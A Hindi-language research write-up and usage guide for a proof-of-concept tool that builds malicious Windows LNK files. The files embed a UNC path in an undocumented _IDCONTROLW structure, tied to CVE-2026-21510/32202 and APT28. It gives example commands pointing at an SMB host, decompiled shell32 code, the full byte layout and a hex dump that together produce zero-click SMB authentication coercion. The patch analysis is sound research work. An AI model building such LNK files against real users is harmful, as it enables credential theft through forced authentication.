
CVE-2026-21510 और CVE-2026-32202 में Windows Shell स्पूफिंग कमजोरियों पर शोध करने के लिए तैयार किए गए _IDCONTROLW संरचनाओं के साथ LNK फ़ाइलें उत्पन्न करता है, जिसमें shell32.dll आंतरिक तत्वों का रिवर्स इंजीनियरिंग शामिल है।
python3 CVE-2026-32202.py -h
usage: CVE-2026-32202.py [-h] --unc PATH [--out FILE] [--applet-id INT] [--name STR] [--infotip STR] [--no-dump]
Generate a test LNK file with an _IDCONTROLW structure.
Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis.
options:
-h, --help show this help message and exit
--unc, -u PATH UNC or local path to embed in _IDCONTROLW (e.g. \\192.168.1.31\share\test.cpl)
--out, -o FILE Output LNK filename (default: test_idcontrolw.lnk)
--applet-id, -a INT Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)
--name, -n STR Display name of the CPL applet (default: "Research CPL")
--infotip, -i STR Tooltip string (default: "CVE-2026-21510 research")
--no-dump Suppress the hex dump of _IDCONTROLW
Examples:
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk
python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump
_IDCONTROLWशोध संदर्भ: CVE-2026-21510 / CVE-2026-32202 (APT28 LNK शोषण श्रृंखला) का विश्लेषण।
आधारित: Akamai Security Research।
लक्ष्य:shell32.dllद्वाराLinkTargetIDListके अंदर कंट्रोल पैनल एप्लेट्स को दर्शाने के लिए उपयोग की जाने वाली आंतरिक_IDCONTROLWसंरचना का पुनर्निर्माण करना।
APT28 ने विंडोज़ शेल (shell32.dll) में एक भेद्यता का शोषण किया, जिसमें एक दुर्भावनापूर्ण .lnk फ़ाइल बनाई गई जिसमें एक अप्रलेखित _IDCONTROLW संरचना के अंदर UNC पथ के साथ एक LinkTargetIDList एम्बेडेड था। इसके कारण explorer.exe ने उपयोगकर्ता की सहभागिता के बिना (ज़ीरो-क्लिक) हमलावर-नियंत्रित सर्वर से SMB कनेक्शन शुरू कर दिया।
_IDCONTROLW संरचना सार्वजनिक Windows SDK या shell32.dll के लिए Microsoft के सार्वजनिक PDB प्रतीकों में प्रलेखित नहीं है। यह रिपोर्ट IDA Pro में स्थैतिक विश्लेषण के माध्यम से इसके पुनर्निर्माण का दस्तावेजीकरण करती है।
MS-SHLLINK के अनुसार, LinkTargetIDList में एक मानक IDList होता है — परिवर्तनीय-लंबाई वाली ItemID प्रविष्टियों की एक सरणी जो 2-बाइट null द्वारा समाप्त होती है।
APT28 शोषण में, IDList में ठीक तीन आइटम होते हैं:
| सूचकांक | सामग्री |
|---|---|
IDList[0] | CLSID {26EE0668-A00A-44D7-9371-BEB064C98683} — कंट्रोल पैनल रूट |
IDList[1] | CControlPanelCategoryFolder आइटम — "सभी कंट्रोल पैनल आइटम" (श्रेणी 0) |
IDList[2] | _IDCONTROLW — एम्बेडेड UNC पथ के साथ CPL एप्लेट प्रविष्टि |
यह वर्चुअल पथ को हल करता है:
::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\{CPL प्रविष्टि}
चूंकि _IDCONTROLW सार्वजनिक PDB प्रतीकों से अनुपस्थित है, पुनर्निर्माण IDA Pro में CControlPanelFolder::GetUIObjectOf से शुरू होने वाली कॉल श्रृंखला का पता लगाकर किया गया — यह वह फ़ंक्शन है जो एक्सप्लोरर में कंट्रोल पैनल आइटम प्रस्तुत करने के लिए जिम्मेदार है।
CControlPanelFolder::GetUIObjectOfजब एक्सप्लोरर दुर्भावनापूर्ण LNK वाले फ़ोल्डर को प्रस्तुत करता है, तो यह CPL आइटम के लिए एक आइकन निकालने के लिए GetUIObjectOf को कॉल करता है। यह निम्नलिखित श्रृंखला को ट्रिगर करता है:
CControlPanelFolder::GetUIObjectOf
└── CControlPanelFolder::GetModuleMapped ← PathFileExistsW यहाँ ट्रिगर हुआ (CVE-2026-32202)
└── CControlPanelFolder::GetModule
└── CControlPanelFolder::_IsUnicodeCPLWorker ← _IDCONTROLW का पता लगाता है
_IsUnicodeCPLWorker — संरचना सत्यापनconst struct _IDCONTROLW *__thiscall
CControlPanelFolder::_IsUnicodeCPLWorker(_WORD *this)
{
if ( *this > 0x18u // cb > 24
&& !*(this + 4) // +0x08 == 0
&& !*(this + 5) // +0x0A == 0
&& !*((_BYTE *)this + 12) // +0x0C == 0
&& *((_BYTE *)this + 13) == 106 ) // +0x0D == 0x6A
return (const struct _IDCONTROLW *)this;
return nullptr;
}
यह ऑफसेट +0x0D = 0x6A पर यूनिकोड मार्कर को प्रकट करता है।
CControlPanelFolder::GetModule — फ़ील्ड एक्सेस// यूनिकोड पथ ऑफसेट +0x18 से पढ़ा गया (v5[1] = &structure[1] = +0x18):
v10 = StringCchCopyW((size_t)&v6[1], v12, savedregs);
// ANSI फ़ॉलबैक ऑफसेट +0x0C से पढ़ता है:
v7 = SHAnsiToUnicode((PCSTR)(v6 + 12), a1, (int)cwchBuf) == 0;
यह पुष्टि करता है कि यूनिकोड पथ (ModulePath) +0x18 से शुरू होता है।
_IDControlCreateW — संरचना निर्माणint __userpurge _IDControlCreateW@<eax>(...)
{
v8 = wcslen(a2); // len(ModulePath)
v9 = 2 * wcslen(a3) + 2; // sizeof(Name) बाइट्स में
v10 = 2 * v8 + 4 + v9 + 2 * wcslen(a4); // कुल डेटा आकार
v11 = ILCreate(v10 + 26); // आवंटन: डेटा + 0x1A हेडर
v11[1] = a1; // +0x04: dwAppletID
*((_BYTE*)v11 + 13) = 106; // +0x0D: typeFlag = 0x6A
*((_WORD*)v11 + 10) = (2*v8+2) >> 1; // +0x14: cchModule
*((_WORD*)v11 + 11) = *((_WORD*)v11+10) + (v9>>1); // +0x16: offName
*(_WORD*)v11 = v10 + 24; // +0x00: cb
// स्ट्रिंग्स +0x18 पर लिखी गईं
}
_IDCONTROLW संरचनाstruct _IDCONTROLW {
WORD cb; // +0x00 पूरी संरचना का आकार (cb सहित)
WORD pad1; // +0x02 पैडिंग, हमेशा 0
DWORD dwAppletID; // +0x04 एप्लेट ID (पंजीकृत CPL के लिए ऋणात्मक, जैसे -201 = 0xFFFFFF37)
WORD pad2; // +0x08 हमेशा 0 (_IsUnicodeCPLWorker द्वारा जांचा गया)
WORD pad3; // +0x0A हमेशा 0 (_IsUnicodeCPLWorker द्वारा जांचा गया)
BYTE pad4; // +0x0C हमेशा 0 (_IsUnicodeCPLWorker द्वारा जांचा गया)
BYTE typeFlag; // +0x0D = 0x6A — यूनिकोड CPL मार्कर
WORD pad5; // +0x0E पैडिंग
DWORD pad6; // +0x10 पैडिंग
WORD cchModule; // +0x14 WCHARs में ModulePath की लंबाई (null टर्मिनेटर सहित)
WORD offName; // +0x16 data[] की शुरुआत से WCHARs में Name का ऑफसेट
WCHAR data[1]; // +0x18 ModulePath\0Name\0InfoTip (UTF-16LE)
};
| ऑफसेट | आकार | फ़ील्ड | मान / नोट्स |
|---|---|---|---|
+0x00 | WORD | cb | संरचना का कुल आकार |
+0x02 | WORD | pad1 | 0 |
+0x04 | DWORD | dwAppletID | एप्लेट ID (जैसे 0xFFFFFF37 = -201) |
+0x08 | WORD | pad2 | 0 — _IsUnicodeCPLWorker द्वारा सत्यापित |
+0x0A | WORD | pad3 | 0 — _IsUnicodeCPLWorker द्वारा सत्यापित |
+0x0C | BYTE | pad4 | 0 — _IsUnicodeCPLWorker द्वारा सत्यापित |
+0x0D | BYTE | typeFlag | 0x6A — यूनिकोड मार्कर |
+0x0E | WORD | pad5 | 0 |
+0x10 | DWORD | pad6 | 0 |
+0x14 | WORD | cchModule | wcslen(ModulePath) + 1 |
+0x16 | WORD | offName | cchModule (Name तुरंत ModulePath के बाद आता है) |
+0x18 | WCHAR[] | data[] | ModulePath\0Name\0InfoTip (UTF-16LE) |
_IDCONTROL बनाम _IDCONTROLWANSI संस्करण (_IDCONTROL) _IDControlCreateA द्वारा बनाया गया है और एक अलग लेआउट का उपयोग करता है:
struct _IDCONTROL {
WORD cb; // +0x00 = total_size + 12
WORD flags; // +0x02
DWORD dwAppletID; // +0x04
WORD cchModule; // +0x08 strlen(ModulePath) + 1
WORD offName; // +0x0A cchModule + strlen(Name) + 1
CHAR data[1]; // +0x0C ModulePath\0Name\0InfoTip (ANSI)
};
मुख्य अंतर:
| गुण | _IDCONTROL (ANSI) | _IDCONTROLW (यूनिकोड) |
|---|---|---|
| हेडर आकार | 0x0C (12 बाइट्स) | 0x18 (24 बाइट्स) |
| स्ट्रिंग एन्कोडिंग | ANSI (char) | UTF-16LE (WCHAR) |
| यूनिकोड मार्कर | अनुपस्थित | +0x0D = 0x6A |
| पहचान | _IsUnicodeCPLWorker nullptr लौटाता है | पॉइंटर लौटाता है |
| पथ प्रारंभ ऑफसेट | +0x0C | +0x18 |
{26EE0668-...})1F 50 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83
टाइप 0x1F = CLSID के साथ रूट शेल आइटम।
CControlPanelCategoryFolder::CreateIDList से पुनर्निर्मित:
*(_WORD*)v5 = 12; // cb = 0x0C
*((_WORD*)v5 + 1) = 1; // flags = 0x0001
v5[1] = 0x39DE2184; // जादुई पहचानकर्ता
v5[2] = 0; // श्रेणी सूचकांक = 0
बाइनरी:
0C 00 01 00 84 21 DE 39 00 00 00 00
_IDCONTROLW\\192.168.1.31\share\test.cpl के साथ उदाहरण:
9E 00 — cb = 158
00 00 — pad1
37 FF FF FF — dwAppletID = -201
00 00 — pad2
00 00 — pad3
00 — pad4
6A — typeFlag = 0x6A ✓
00 00 00 00 00 00 — pad5 + pad6
1E 00 — cchModule = 30
1E 00 — offName = 30
5C 00 5C 00 ... — \\192.168.1.31\share\test.cpl (UTF-16LE)
अपैच्ड संस्करण में भेद्यता श्रृंखला:
Explorer फ़ोल्डर प्रस्तुत करता है
→ CControlPanelFolder::GetUIObjectOf (आइकन निष्कर्षण अनुरोध)
→ CControlPanelFolder::GetModuleMapped
→ PathFileExistsW(pszPath) ← SMB कनेक्शन यहाँ शुरू हुआ
Microsoft का पैच (CVE-2026-21510) ControlPanelLinkSite पेश करता है जो IVerifyingTrust::OnVerifyingTrust के माध्यम से SmartScreen सत्यापन जोड़ता है — लेकिन केवल ShellExecuteExW चरण पर। GetModuleMapped में PathFileExistsW कॉल श्रृंखला में पहले होता है और इसे संबोधित नहीं किया गया था, जिससे CVE-2026-32202 (प्रमाणीकरण ज़बरदस्ती) बाद के अपडेट तक अपैच्ड रह गया।
इस रिपोर्ट में दी गई जानकारी केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए है। लेखक प्रस्तुत सामग्री के किसी भी अवैध, दुर्भावनापूर्ण या अनैतिक उपयोग का समर्थन या जिम्मेदारी नहीं लेता है। चर्चा की गई तकनीकों और अवधारणाओं को उचित प्राधिकरण के बिना सिस्टम या नेटवर्क पर लागू नहीं किया जाना चाहिए। लेखक इस जानकारी के दुरुपयोग से उत्पन्न किसी भी क्षति, कानूनी परिणाम या हानि के लिए उत्तरदायी नहीं है। पाठकों को साइबर सुरक्षा प्रथाओं से संबंधित सभी लागू कानूनों और दिशानिर्देशों का पालन करने के लिए प्रोत्साहित किया जाता है।